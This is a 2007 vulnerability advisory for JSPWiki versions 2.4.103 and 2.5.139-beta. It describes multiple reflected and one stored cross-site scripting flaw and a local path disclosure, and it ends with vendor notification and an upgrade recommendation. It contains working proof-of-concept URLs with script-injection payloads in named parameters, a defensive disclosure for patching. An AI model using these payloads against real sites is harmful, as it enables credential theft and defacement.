Application: JSPWiki Multiple Vulnerabilities Version: 2.4.103 and 2.5.139 Credit: Jason Kratzer Date: 9/24/2007 Background ------------------------------------------------------------ JSPWiki is wiki software built around the standard J2EE components of Java, servlets and JSP. It was written by Janne Jalkanen and released under the LGPL. The Sun Java System Portal Server includes it as one of its core applications. It is primarily used for company intranets and has an active developer community, also including the i3G Institute of the Heilbronn University. (Courtesy of Wikipedia: http://en.wikipedia.org/wiki/JSPWiki) Description ------------------------------------------------------------ Multiple Cross Site Scripting vulnerabilities have been discovered within the JSPWiki application, successfully allowing an attacker to steal credentials, falsify posts, and persistently deface portions of the site. Additionally, a Local Path Disclosure vulnerability was also discovered. Affected Versions ------------------------------------------------------------ Each vulnerability was confirmed in versions 2.4.103 and 2.5.139-beta. The Cross Site Scripting vulnerability affecting the redirect parameter is only found in version 2.5.139-beta. Proof of Concept Cross Site Scripting Vulnerabilities: ------------------------------------------------------------ http://vulnerable-site.com/wiki/NewGroup.jsp?group=Test Vulnerable Parameters: group=Test"<script>alert("Test+XSS")</script> members= Test"<script>alert("Test+XSS")</script> Type: Reflective ------------------------------------------------------------ http://vulnerable-site.com/wiki/Edit.jsp?page=Main&action=save&edittime= 1186698299838&addr=127.0.0.1&_editedtext=Test&changenote=Test&ok=Save Vulnerable Parameters: edittime=<script>alert("Test+XSS")</script> Type: Reflective ------------------------------------------------------------ http://vulnerable-site.com/wiki/Comment.jsp?page=Main&action=save&editti me=1186698386737&addr=127.0.0.1&_editedtext=Test&author=AnonymousCoward& link=&ok=Save Vulnerable Parameters: edittime=<script>alert("Test+XSS")</script> author=<script>alert("Test+XSS")</script> link="><SCRIPT>alert("Test+XSS")</SCRIPT> Type: Reflective ------------------------------------------------------------ http://vulnerable-site.com/wiki/UserPreferences.jsp?tab=profile&loginnam e=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Te st (at) Test (dot) com [email concealed]&ok=Save+profile&action=saveProfile http://vulnerable-site.com/wiki/Login.jsp?tab=profile&loginname=Test&pas sword=Test&password2=Test&wikiname=Test&fullname=Test&email=Test (at) Test (dot) co [email concealed] m&ok=Save+profile&action=saveProfile Vulnerable Parameters: loginname="><script>alert("Test+XSS")</script> wikiname="><script>alert("Test+XSS")</script> fullname="><script>alert("Test+XSS")</script> email="><script>alert("Test+XSS")</script> Type: Reflective ------------------------------------------------------------ http://vulnerable-site.com/wiki/Diff.jsp?page=Administrator&r1=-1&r2=1 Vulnerable Parameters: r1=<script>alert('Test XSS")</script> r2=<script>alert("Test+XSS")</script> Type: Reflective ------------------------------------------------------------ http://vulnerable-site.com/wiki/PageInfo.jsp?page=SystemInfo/test.jpg Vulnerable Parameters: changenote=<script>alert("Test+XSS")</script> Type: Stored ------------------------------------------------------------ http://vulnerable-site.com/wiki-3/Login.jsp?redirect=Main Vulnerable Parameter: redirect="><script>alert("Test+XSS")</script> Notes: The redirect parameter is found in multiple places through JSPWiki-2.5.139-beta and is vulnerable in every instance. ------------------------------------------------------------ Local Path Disclosure: http://vulnerable-site.com/wiki/attach/Main/Insert-Uploaded-Attachment-F ilename-Here?version=1000000 (Nonexistent #) Vulnerable Parameter; Version=10000000 Notes: The non-existent number must be between 1 and 10 character otherwise a standard 500 error will be displayed. Vendor Notification ------------------------------------------------------------ The JSPWiki project was notified on September 10, 2007. Janne Jalkanen developed and implemented a fix by September 18, 2007. Remediation ------------------------------------------------------------ It is recommended to upgrade to JSPWiki version 2.4.104. It is also worth noting, the above vulnerabilities have also been fixed in the beta release, version 2.5.139.